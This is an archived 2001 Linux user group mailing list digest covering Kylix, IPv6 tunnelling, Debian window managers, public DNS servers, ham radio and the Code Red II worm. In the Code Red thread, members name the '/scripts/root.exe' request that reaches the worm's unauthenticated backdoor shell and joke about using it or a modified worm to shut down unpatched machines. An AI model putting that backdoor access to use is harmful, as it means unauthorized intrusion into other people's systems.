Message-ID: <01080618175900.00666@192.168.0.7> If i code up a program in kylix, can i compile it using kylix to create a windows application or do i need to compile it on a windows machine with delphi? if the prior is possible please let me know how it is done. Also, once you get the application working in windows to run it the computer needs the CLX libraries-- are these wide spread or would you basically have to distribute them with the application? cheers, bc-s From dieman+tclug at ringworld.org Mon Aug 6 18:59:11 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: <000801c11ec2$82cf7fd0$0101a8c0@cascade> Message-ID: <20010806185911.A6692@ringworld.org> * Thomas T. Veldhouse [010806 16:57]: > There is a new type of reactor that uses a new kind of fuel. Instead of > using Uranium fuel "rods", it uses Uranium fuel "spheres" or "balls". > Simply, when placed in proximity of each other, the fission reaction takes The next proposed reactor in Illinois is going to use this technology. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From hick0088 at tc.umn.edu Mon Aug 6 18:59:36 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] IPv6 troubleshooting (whee!) In-Reply-To: <20010805215132.Q6692@ringworld.org> References: <20010805144914.5d5bd450.hick0088@tc.umn.edu> <20010805215132.Q6692@ringworld.org> Message-ID: <20010806185936.742ccb6e.hick0088@tc.umn.edu> Scott Dier wrote: > > * Mike Hicks [010805 14:50]: > > mike@hardrock:~$ ping6 www.kame.net > > PING www.kame.net(apple.kame.net) 56 data bytes > > >From 3ffe:b80:139:1::1: Destination unreachable: Address unreachable > > >From 3ffe:b80:139:1::1: Destination unreachable: Address unreachable > > > > --- www.kame.net ping6 statistics --- > > 2 packets transmitted, 0 packets received, 100% packet loss > > mike@hardrock:~$ traceroute6 www.kame.net > > traceroute6 to kame220.kame.net (2001:200:0:4819:280:adff:fe71:81fc) > from > > 3ffe:b80:139:1:2a0:24ff:fe35:b9f8, 30 hops max, 16 byte packets > > 1 3ffe:b80:139:1::1 (3ffe:b80:139:1::1) 0.807 ms !H 0.66 ms !H > 0.587 > > ms !H > > The eth0 interfaces on both my router and my client box have two inet6 > > addresses, one link-local (/10 with ff80 prefix) and the other global > > (/64). > > Some ideas: > > A) I dont have an address on my internal interface, with just a > link-local it works. Yeah, I don't think that matters, though, as the client system uses the router's link-local address as the default route. However, I did delete that address for a test, and things sort of seemed to kind of work better. mike@hardrock:~$ traceroute6 www.kame.net traceroute6 to kame220.kame.net (3ffe:501:4819:2000:280:adff:fe71:81fc) from 3ffe:b80:139:1:2a0:24ff:fe35:b9f8, 30 hops max, 16 byte packets 1 3ffe:b80:2:676::2 (3ffe:b80:2:676::2) 0.735 ms !H 0.672 ms !H 1.255 ms !H That's the address on my sit1 interface (my end of the IPv6-in-IPv4 tunnel) > B) Set 2000::/3 to your 'defaultroute' interface. Yeah, dont ask, its > something that the developers did. Could you clarify which interface on which system? > C) use an usagi kernel. Search for them on gooogle. I'll take a look at that, but I'd like to fiddle a bit with a stock kernel first, just to see if it's possible to get things to work `out of the box'.. > D) I had to add the 'subnet' to the route on my eth0 > So like, i put my prefix in and gave it dev of my internal network > interface... This was the one pitfall for me. You mean the /64 network? It looks like that's already routed to eth0: [mike@3po][~]$ ip -f inet6 route 3ffe:b80:2:676::/64 via :: dev sit1 proto kernel metric 256 mtu 1480 3ffe:b80:139:1::/64 dev eth0 proto kernel metric 256 mtu 1500 3ffe:b80:139::/48 dev eth0 metric 1 mtu 1500 fe80::/10 via :: dev sit1 proto kernel metric 256 mtu 1480 fe80::/10 dev eth0 proto kernel metric 256 mtu 1500 ff00::/8 dev sit1 proto kernel metric 256 mtu 1480 ff00::/8 dev eth0 proto kernel metric 256 mtu 1500 default dev sit1 metric 1 mtu 1480 unreachable default dev lo metric -1 error -101 And just for completeness, my client box mike@hardrock:~$ /sbin/ip -f inet6 route 3ffe:b80:139:1::/64 dev eth0 proto kernel metric 256 expires 2591556sec mtu 1500 fe80::/10 dev eth0 proto kernel metric 256 mtu 1500 ff00::/8 dev eth0 proto kernel metric 256 mtu 1500 default via fe80::260:8ff:fe42:97a6 dev eth0 proto kernel metric 1024 expires 1356sec mtu 1500 unreachable default dev lo metric -1 error -101 -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ 668 - Neighbor of the / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ Beast \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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From sraun at fireopal.org Mon Aug 6 19:19:32 2001 From: sraun at fireopal.org (Scott Raun) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] Debian / Gnome Question Message-ID: <20010806191931.A6945@iaxs.net> I'm trying to run Debian Testing. I just ran "apt-get upgrade" and let the system upgrade everything that needed it. I'm running Gnome 1.4 and IceWM. Gnome complains that IceWM is not a Gnome-compatible Window Manager. I went through this about six weeks ago, and NONE of the testing Window Managers - I installed ALL of them - were Gnome-compatible. I'd like to give Gnome a reasonable chance - but, there are some features that don't seem to work without a compatible Window Manager. Anyone have any suggestions about which WM I should install, and from where? -- Scott Raun sraun@fireopal.org From esper at sherohman.org Mon Aug 6 19:19:23 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting In-Reply-To: <01080618175900.00666@192.168.0.7>; from cart0196@umn.edu on Mon, Aug 06, 2001 at 06:17:59PM -0500 References: <54180709DD3FE145917BB165AFE7EFA00A8433@mspexch2.office.mktw.net> <01080618175900.00666@192.168.0.7> Message-ID: <20010806191922.A23216@sherohman.org> On Mon, Aug 06, 2001 at 06:17:59PM -0500, Brian Carter-Stiglitz wrote: > If i code up a program in kylix, can i compile it using kylix to create a > windows application or do i need to compile it on a windows machine with > delphi? You would need to use Delphi under Win32. AFAIK, there are no plans to ever support cross-compilation. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From veldy at veldy.net Mon Aug 6 19:20:06 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] OT: Lights Out? References: <20010806185911.A6692@ringworld.org> <01080619135801.00666@192.168.0.7> Message-ID: <005201c11ed6$b5ebf920$0101a8c0@cascade> These things are not nearly as dangerous to the environment. For one thing, they are solid speres and there is no liquid waste. Thus, they could be buried, worst case would be in cement or steel slabs. I am sure there are some logistics involved, but it is not anywhere near as much of a problem as current reactor waste, as there is heavy water generated in these reactors which must be stored. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Brian Carter-Stiglitz" To: Sent: Monday, August 06, 2001 7:13 PM Subject: Re: [TCLUG] OT: Lights Out? > the problem with reactors is there is no good place on this earth to store > the waste > > bc-s > > On Monday 06 August 2001 06:59 pm, you wrote: > > * Thomas T. Veldhouse [010806 16:57]: > > > There is a new type of reactor that uses a new kind of fuel. Instead of > > > using Uranium fuel "rods", it uses Uranium fuel "spheres" or "balls". > > > Simply, when placed in proximity of each other, the fission reaction > > > takes > > > > The next proposed reactor in Illinois is going to use this technology. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From moomonk at greentechnologist.org Mon Aug 6 14:31:25 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] Code Red II In-Reply-To: Message-ID: Ya know, my apache logs have been barely registering this thing. Does v1 or v2 require some sort of ping response before it'll do the GET? I've only seen something 37 probes from code red v2 and 145 from v1. It sounds like you folks are getting hammered. Am I just not seeing stuff due to firewalling? Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Mon, 6 Aug 2001, Yaron wrote: > Hi, > > On Mon, 6 Aug 2001, Steve Siegfried wrote: > > > 48% .home.com > > It almost looks like the damn thing was tailored to go after cable customers. > > Actually it's taylored to almost always go within the same Class A it's > running on - so if it's in .home.com's 24.* it'll stay there. I think it's > 1 out of 10 times that it does a completely random IP address. > > I've got 238 hits, 42 of which are from outside my class a. > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From moomonk at greentechnologist.org Mon Aug 6 14:37:23 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806124727.K23423@fandre.com> Message-ID: I don't recall what it is off hand but you can call a Win32 function to shutdown the OS using rundll.exe. Someone who is interested could just go search on google using that info. Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Mon, 6 Aug 2001, Clay Fandre wrote: > Nate Carlson [natecars@real-time.com] wrote: > > On Mon, 6 Aug 2001, Clay Fandre wrote: > > > > > Thanks for all of the help. I was starting to get worried when my cable > > > > > modem & router lights were going crazy last night and the fact that I > > > > > heard that there is a new strain out that effects shells or something. > > > > > > > > Not "effects shells", really. It makes a shell available (without any > > > > authentication, of course) available remotely on infected machines. > > > > > > > > > > Any idea how to access it? Does NT have a shutdown command? :-) > > > > get /scripts/root.exe > > That only answers half of my questions. Anyone have time to modify the worm to go and shutdown all these damn unpatched boxes? Or better yes, have it download and boot a linux fs. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From mohmann at qwest.net Mon Aug 6 19:33:23 2001 From: mohmann at qwest.net (Marc Ohmann) Date: Mon Jan 17 13:25:38 2005 Subject: [TCLUG] internet-connection load-balancing Message-ID: <3B6F3753.2030402@qwest.net> Does anyone out there have any experience load balancing internet connections (DSL in this case) using Linux? If so, what are the implications when the connections are provided by separate ISPs? And how can dns be setup to load balance the links? From my understanding the separate ISPs wouldn't be a concern because two nics on the same box can be setup on separate networks. The dns problem is the most intreguing to me, concidering that the dns would be setup on the load balanced network. The ips listed with the domain registrars would be one for ISP1_LINK and one for ISP2_LINK so initially all dns requests would come over the link from ISP1 (unless it was down). From there the local dns server would check a table to see wich link was more available and return the ip for that domain. So in effect it would be load balanced on the request level and not on the packet level. Does this sound like a plossible scheme? Is there a way to do it on the packet level? Thanks in advance for any insight, Marc From hick0088 at tc.umn.edu Mon Aug 6 20:04:35 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:38 2005 Subject: [TCLUG] Code Red II In-Reply-To: References: Message-ID: <20010806200435.5104d662.hick0088@tc.umn.edu> "Joshua b. Jore" wrote: > > Ya know, my apache logs have been barely registering this thing. Does v1 > or v2 require some sort of ping response before it'll do the GET? I've > only seen something 37 probes from code red v2 and 145 from v1. It > sounds like you folks are getting hammered. Am I just not seeing stuff > due to firewalling? It really depends a lot on what sort of network you're on, and if you're near any troublesome areas. The connection rate to my system has been fairly consistent ~1/hour for the past few days, but my family's @home cable modem gateway has got over 1000 (yes, one thousand) hits in the last two days. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ I'm a nobody. Nobody is / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ perfect. Therefore I'm \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) perfect. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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I am sure > there are some logistics involved, but it is not anywhere near as much of a > problem as current reactor waste, as there is heavy water generated in > these reactors which must be stored. My whole point with the wind energy debacle, you don't need to bury a turbine or encase it in cement for the next 10,000 years after its life expentancy. I feel that it doesn't matter wether it is liquid waste, or solid waste, rods vs spheres, you're still just making steam to turn a turbine. Comparative cost of producing wind turbines vs cost of manufacture, transport, utilize, recycle (into what?) and dispose safely for the next few millenia, uranium or a derivative, wind is cheaper. From thomas at stderr.net Mon Aug 6 20:14:46 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:25:38 2005 Subject: [TCLUG] Debian / Gnome Question In-Reply-To: <20010806191931.A6945@iaxs.net>; from sraun@fireopal.org on Mon, Aug 06, 2001 at 07:19:32PM -0500 References: <20010806191931.A6945@iaxs.net> Message-ID: <20010807031445.A77274@io.stderr.net> On Mon, Aug 06, 2001 at 07:19:32PM -0500, Scott Raun wrote: > I'm trying to run Debian Testing. I just ran "apt-get upgrade" and let > the system upgrade everything that needed it. > > I'm running Gnome 1.4 and IceWM. Gnome complains that IceWM is not a > Gnome-compatible Window Manager. I went through this about six weeks > ago, and NONE of the testing Window Managers - I installed ALL of them > - were Gnome-compatible. > > I'd like to give Gnome a reasonable chance - but, there are some > features that don't seem to work without a compatible Window > Manager. Anyone have any suggestions about which WM I should install, > and from where? I use sawfish with gnome and that works just fine, should be in main tree of Debian. -- Thomas Eibner DnsZone mod_pointer From hick0088 at tc.umn.edu Mon Aug 6 20:15:03 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:38 2005 Subject: [TCLUG] 10, 10^9 (10^10?) Message-ID: <20010806201503.6ca27092.hick0088@tc.umn.edu> Has anyone thought more about putting together something for Linux's 10th birthday? Or the 1 billion (10^9) second mark in Unix time? I suppose we could combine stuff into a 10^10 party ;-) -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Linux Geeks: Smart. / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ Single. Sexy. Well, 2 \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) out of 3 ain't bad. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Mon Aug 6 20:18:05 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:38 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806131359.D3388@fandre.com>; from cfandre@fandre.com on Mon, Aug 06, 2001 at 01:14:01PM -0500 References: <20010806125056.A11413@thor> <20010806131359.D3388@fandre.com> Message-ID: <20010806201805.B16570@real-time.com> the really amusing one; would be to have it install Linux, then save the content somehow, then set up a linux webserver to serve up the original content. see how long it takes for some admins to wonder why their NT box hasn't crashed in 6 months. :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From jts at tc.umn.edu Mon Aug 6 20:46:21 2001 From: jts at tc.umn.edu (Joel T Schneider) Date: Mon Jan 17 13:25:38 2005 Subject: [TCLUG] RH 7.1 and xpm? In-Reply-To: <200108061514.f76FE3Q18990@sprite.real-time.com> Message-ID: On Mon, 6 Aug 2001 Bob Tanner wrote: > Is xpm no longer in Redhat? > > I quick look at 7.1 packages and I don't see xpm in any of the packages. I don't see any package that specifically provides "xpm" either. There is, however, a Gimp xpm plugin, xpmtoppm, xpmroot ... (?) Joel From seg at haxxed.com Mon Aug 6 20:55:49 2001 From: seg at haxxed.com (Callum Lerwick) Date: Mon Jan 17 13:25:38 2005 Subject: [TCLUG] PS/2 to USB adapter. Message-ID: <3B6F4AA5.AD841EA9@haxxed.com> Okay, any IBM model M or Northgate fans who want to keep their baby working into the new age of USB, go to radio shack and look for the CueCat PS/2 to USB adapter. They're $10, which is dirt cheap. The only other ones I've been able to find are integrated with hubs and port replicators and thus big and expensive. ($60+) This I can duct tape to the end of my M's cable for all eternity. I can't find it on cuecat.com anywhere, so its possible all Radio Shack's might not have 'em. I got mine at the Hopkins Mall location. (On 55, just east of 169.) However a problem is becoming apparent, every once and a while a key will stick down and keep repeating, until I unplug it from USB and plug it back in. Though I have been having problems with my keyboard port locking up until I reboot when hooked to PS/2, so it may well be they keyboard. Or the HP barcode pen I'm using a keyboard extention because I lost my ps/2 extention cable. I've unplugged it and I think that fixed it... (I can now use a USB cable and hub as a cable extention...) Anyway, M fans, or any other fans of an AT/PS/2 keyboard of some kind, go get one while you can... From trammell at trammell.dyndns.org Mon Aug 6 16:33:36 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:25:38 2005 Subject: [TCLUG] RH 7.1 and xpm? In-Reply-To: ; from jts@tc.umn.edu on Mon, Aug 06, 2001 at 08:46:21PM -0500 References: <200108061514.f76FE3Q18990@sprite.real-time.com> Message-ID: <20010806163336.A7991@trammell.dyndns.org> On Mon, Aug 06, 2001 at 08:46:21PM -0500, Joel T Schneider wrote: > On Mon, 6 Aug 2001 Bob Tanner wrote: > > Is xpm no longer in Redhat? > > > > I quick look at 7.1 packages and I don't see xpm in any of the packages. > > I don't see any package that specifically provides "xpm" either. > > There is, however, a Gimp xpm plugin, xpmtoppm, xpmroot ... (?) Sort of a non-answer, but FWIW: [ bayazid /usr/X11R6/lib ] ls -1 /usr/X11R6/lib/ | grep -i xpm libXpm.so.4 libXpm.so.4.11 [ bayazid /usr/X11R6/lib ] dpkg -S libXpm xpm4g: /usr/X11R6/lib/libXpm.so.4.11 xpm4g: /usr/X11R6/lib/libXpm.so.4 [ bayazid /usr/X11R6/lib ] -- Salad: it's what's for dinner, for what's for dinner. From kelly at ncis.com Mon Aug 6 22:10:47 2001 From: kelly at ncis.com (Kelly) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] DNS question Message-ID: <002b01c11eee$8ef42820$0a01a8c0@inet> Ok here is one. My ISP some times allows me to connect to the internet but thier DNS server is not working properly. Thus limiting me to only the sites that are cached on my routers dns server. Real pain in the ars. Is there a public server avalible that I can put the numbers into my search Que on a temp basis till my ISP's DNS comes back on line? Kelly -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010806/641d5237/attachment.htm From jpschewe at mtu.net Mon Aug 6 22:18:26 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] DNS question In-Reply-To: <002b01c11eee$8ef42820$0a01a8c0@inet>; from kelly@ncis.com on Mon, Aug 06, 2001 at 10:10:47PM -0500 References: <002b01c11eee$8ef42820$0a01a8c0@inet> Message-ID: <20010806231826.C28300@mtu.net> On Mon, Aug 06, 2001 at 10:10:47PM -0500, Kelly wrote: > Ok here is one. My ISP some times allows me to connect to the internet but thier DNS server is not working properly. Thus limiting me to only the sites that are cached on my routers dns server. Real pain in the ars. > Is there a public server avalible that I can put the numbers into my search Que on a temp basis till my ISP's DNS comes back on line? > Kelly Sure, you can use all the root servers, that or just about any other DNS will work, although picking one that is close to you makes lookups faster. Here's the mediaone servers: 24.31.3.8 24.31.3.9 -- Jon Schewe | http://mtu.net/~jpschewe For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From hick0088 at tc.umn.edu Mon Aug 6 22:20:49 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] DNS question In-Reply-To: <002b01c11eee$8ef42820$0a01a8c0@inet> References: <002b01c11eee$8ef42820$0a01a8c0@inet> Message-ID: <20010806222049.6cecf54b.hick0088@tc.umn.edu> "Kelly" wrote: > > Ok here is one. My ISP some times allows me to connect to the internet > but thier DNS server is not working properly. Thus limiting me to only > the sites that are cached on my routers dns server. Real pain in the > ars. > Is there a public server avalible that I can put the numbers into my > search Que on a temp basis till my ISP's DNS comes back on line? It's always worth trying the U of MN's DNS servers, since they're so easy to remember: 128.101.101.101, 134.84.84.84 -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Never let school get in / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ the way of your \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) education. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010806/feceaab0/attachment.pgp From ssinn at qwest.net Mon Aug 6 22:13:46 2001 From: ssinn at qwest.net (Spencer J Sinn) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] 10, 10^9 (10^10?) In-Reply-To: <20010806201503.6ca27092.hick0088@tc.umn.edu>; from hick0088@tc.umn.edu on Mon, Aug 06, 2001 at 08:15:03PM -0500 References: <20010806201503.6ca27092.hick0088@tc.umn.edu> Message-ID: <20010806221346.A11909@thor> I think it would be the perfect excuse to have a Linux picnic. Maybe invite some other user groups from the area... I am sure the PHP and Zope people might want to come out and celebrate... On Mon, Aug 06, 2001 at 08:15:03PM -0500, Mike Hicks wrote: > Has anyone thought more about putting together something for Linux's 10th > birthday? Or the 1 billion (10^9) second mark in Unix time? I suppose we > could combine stuff into a 10^10 party ;-) > > -- > _ _ _ _ _ ___ _ _ _ ___ _ _ __ Linux Geeks: Smart. > / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ Single. Sexy. Well, 2 > \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) out of 3 ain't bad. > [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -- Thanks, Spencer J Sinn From list at slushpupie.com Mon Aug 6 22:18:34 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] DNS question In-Reply-To: <002b01c11eee$8ef42820$0a01a8c0@inet> References: <002b01c11eee$8ef42820$0a01a8c0@inet> Message-ID: <01080622183402.23084@friday.tarsk.com> Although you can use almost any DNS server, you want to use one close to you to speed things up. Try and find out who your ISP's ISP is. For example, Internet Exposure gets their service from VISI.com (as many many ISPs in the area do) Just do whois visi.com to find out what their name servers are. (Or whoever your ISP's ISP is) Jay On Monday 06 August 2001 10:10 pm, you wrote: > Ok here is one. My ISP some times allows me to connect to the internet but > thier DNS server is not working properly. Thus limiting me to only the > sites that are cached on my routers dns server. Real pain in the ars. Is > there a public server avalible that I can put the numbers into my search > Que on a temp basis till my ISP's DNS comes back on line? Kelly ---------------------------------------- Content-Type: text/html; charset="iso-8859-1"; name="Attachment: 1" Content-Transfer-Encoding: quoted-printable Content-Description: ---------------------------------------- -- Jay Kline list@slushpupie.com http://www.slushpupie.com Facts, apart from their relationships, are like labels on empty bottles. -- Sven Italla From kelly at ncis.com Mon Aug 6 22:31:16 2001 From: kelly at ncis.com (Kelly) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] DNS question References: <002b01c11eee$8ef42820$0a01a8c0@inet> <20010806231826.C28300@mtu.net> Message-ID: <003301c11ef1$6b1b7e00$0a01a8c0@inet> Thank you very much. Seems to happen about once a month. Usually when I need to find something real bad. Kelly ----- Original Message ----- From: "Jon Schewe" To: Sent: Monday, August 06, 2001 10:18 PM Subject: Re: [TCLUG] DNS question > On Mon, Aug 06, 2001 at 10:10:47PM -0500, Kelly wrote: > > Ok here is one. My ISP some times allows me to connect to the internet but thier DNS server is not working properly. Thus limiting me to only the sites that are cached on my routers dns server. Real pain in the ars. > > Is there a public server avalible that I can put the numbers into my search Que on a temp basis till my ISP's DNS comes back on line? > > Kelly > > Sure, you can use all the root servers, that or just about any other DNS will > work, although picking one that is close to you makes lookups faster. > Here's the mediaone servers: > 24.31.3.8 > 24.31.3.9 > > -- > Jon Schewe | http://mtu.net/~jpschewe > For I am convinced that neither death nor life, neither angels > nor demons, neither the present nor the future, nor any > powers, neither height nor depth, nor anything else in all > creation, will be able to separate us from the love of God that > is in Christ Jesus our Lord. - Romans 8:38-39 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From kelly at ncis.com Mon Aug 6 22:32:47 2001 From: kelly at ncis.com (Kelly) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] DNS question References: <002b01c11eee$8ef42820$0a01a8c0@inet> <20010806222049.6cecf54b.hick0088@tc.umn.edu> Message-ID: <003d01c11ef1$a18cdec0$0a01a8c0@inet> Thanks I got my little book out and I am writing these down. Kelly ----- Original Message ----- From: "Mike Hicks" To: Sent: Monday, August 06, 2001 10:20 PM Subject: Re: [TCLUG] DNS question From kelly at ncis.com Mon Aug 6 22:40:58 2001 From: kelly at ncis.com (Kelly) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] DNS question References: <002b01c11eee$8ef42820$0a01a8c0@inet> <20010806231826.C28300@mtu.net> <003301c11ef1$6b1b7e00$0a01a8c0@inet> Message-ID: <004b01c11ef2$c61a0f00$0a01a8c0@inet> Is that a legal ip number? ----- Original Message ----- From: "Kelly" To: Sent: Monday, August 06, 2001 10:31 PM Subject: Re: [TCLUG] DNS question > Thank you very much. > Seems to happen about once a month. Usually when I need to find something > real bad. > Kelly > > > ----- Original Message ----- > From: "Jon Schewe" > To: > Sent: Monday, August 06, 2001 10:18 PM > Subject: Re: [TCLUG] DNS question > > > > On Mon, Aug 06, 2001 at 10:10:47PM -0500, Kelly wrote: > > > Ok here is one. My ISP some times allows me to connect to the internet > but thier DNS server is not working properly. Thus limiting me to only the > sites that are cached on my routers dns server. Real pain in the ars. > > > Is there a public server avalible that I can put the numbers into my > search Que on a temp basis till my ISP's DNS comes back on line? > > > Kelly > > > > Sure, you can use all the root servers, that or just about any other DNS > will > > work, although picking one that is close to you makes lookups faster. > > Here's the mediaone servers: > > 24.31.3.8 > > 24.31.3.9 > > > > -- > > Jon Schewe | http://mtu.net/~jpschewe > > For I am convinced that neither death nor life, neither angels > > nor demons, neither the present nor the future, nor any > > powers, neither height nor depth, nor anything else in all > > creation, will be able to separate us from the love of God that > > is in Christ Jesus our Lord. - Romans 8:38-39 > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From tanner at real-time.com Mon Aug 6 22:44:57 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] RH 7.1 and xpm? In-Reply-To: ; from jts@tc.umn.edu on Mon, Aug 06, 2001 at 08:46:21PM -0500 References: <200108061514.f76FE3Q18990@sprite.real-time.com> Message-ID: <20010806224457.B6162@real-time.com> Quoting Joel T Schneider (jts@tc.umn.edu): > On Mon, 6 Aug 2001 Bob Tanner wrote: > > Is xpm no longer in Redhat? > > > > I quick look at 7.1 packages and I don't see xpm in any of the packages. > > I don't see any package that specifically provides "xpm" either. > > There is, however, a Gimp xpm plugin, xpmtoppm, xpmroot ... (?) It's in X libs package now. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From markbrowne at mn.mediaone.net Mon Aug 6 22:51:26 2001 From: markbrowne at mn.mediaone.net (Mark Browne) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] OT (kind of): HAM radio operators? References: Message-ID: <00b601c11ef4$3f462660$6601a8c0@zippy> If yor thinging ham radio thoughts you might also want to check out: http://www.arrl.org/ Mark Browne ----- Original Message ----- From: "Brian" To: Sent: Monday, August 06, 2001 1:13 PM Subject: Re: [TCLUG] OT (kind of): HAM radio operators? > On Mon, 6 Aug 2001, Scott Dier wrote: > > > On that range at that power can you do 'commercial' activities or use > > 'encryption'? > > 1. ham radio is for non-comm use only. You can't charge money for > anything. > > 2. I think encryption falls in the lines of "codes and ciphers" which is > explicitly forbidden. > > IIRC 2.4 Ghz is unregulated and you can do whatever you want to up > there. "Ham" is restricted to frequencies designated by the FCC and I > think only goes up to 1.2 Ghz or somewhere in there. If you're truly > interested in trying to do some commercial wirelss stuff get your ham > license and get hooked up with ham geeks. That way you'll learn > everything you want to know about antennas, intrerference, power > consumption, etc and also meet the right people who can help you out. A > ham license will cost you a $6 testing fee. To study for the test I > recommend reading through "Now You're Talking" and taking sample tests at > www.hamtest.com. It took me about 3 weeks from start to test to get my > license. > > -Brian > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From jpschewe at mtu.net Mon Aug 6 23:06:37 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] DNS question In-Reply-To: <004b01c11ef2$c61a0f00$0a01a8c0@inet>; from kelly@ncis.com on Mon, Aug 06, 2001 at 10:40:58PM -0500 References: <002b01c11eee$8ef42820$0a01a8c0@inet> <20010806231826.C28300@mtu.net> <003301c11ef1$6b1b7e00$0a01a8c0@inet> <004b01c11ef2$c61a0f00$0a01a8c0@inet> Message-ID: <20010807000637.E28300@mtu.net> Yeah. On Mon, Aug 06, 2001 at 10:40:58PM -0500, Kelly wrote: > Is that a legal ip number? > > > ----- Original Message ----- > From: "Kelly" > To: > Sent: Monday, August 06, 2001 10:31 PM > Subject: Re: [TCLUG] DNS question > > > > Thank you very much. > > Seems to happen about once a month. Usually when I need to find something > > real bad. > > Kelly > > > > > > ----- Original Message ----- > > From: "Jon Schewe" > > To: > > Sent: Monday, August 06, 2001 10:18 PM > > Subject: Re: [TCLUG] DNS question > > > > > > > On Mon, Aug 06, 2001 at 10:10:47PM -0500, Kelly wrote: > > > > Ok here is one. My ISP some times allows me to connect to the internet > > but thier DNS server is not working properly. Thus limiting me to only the > > sites that are cached on my routers dns 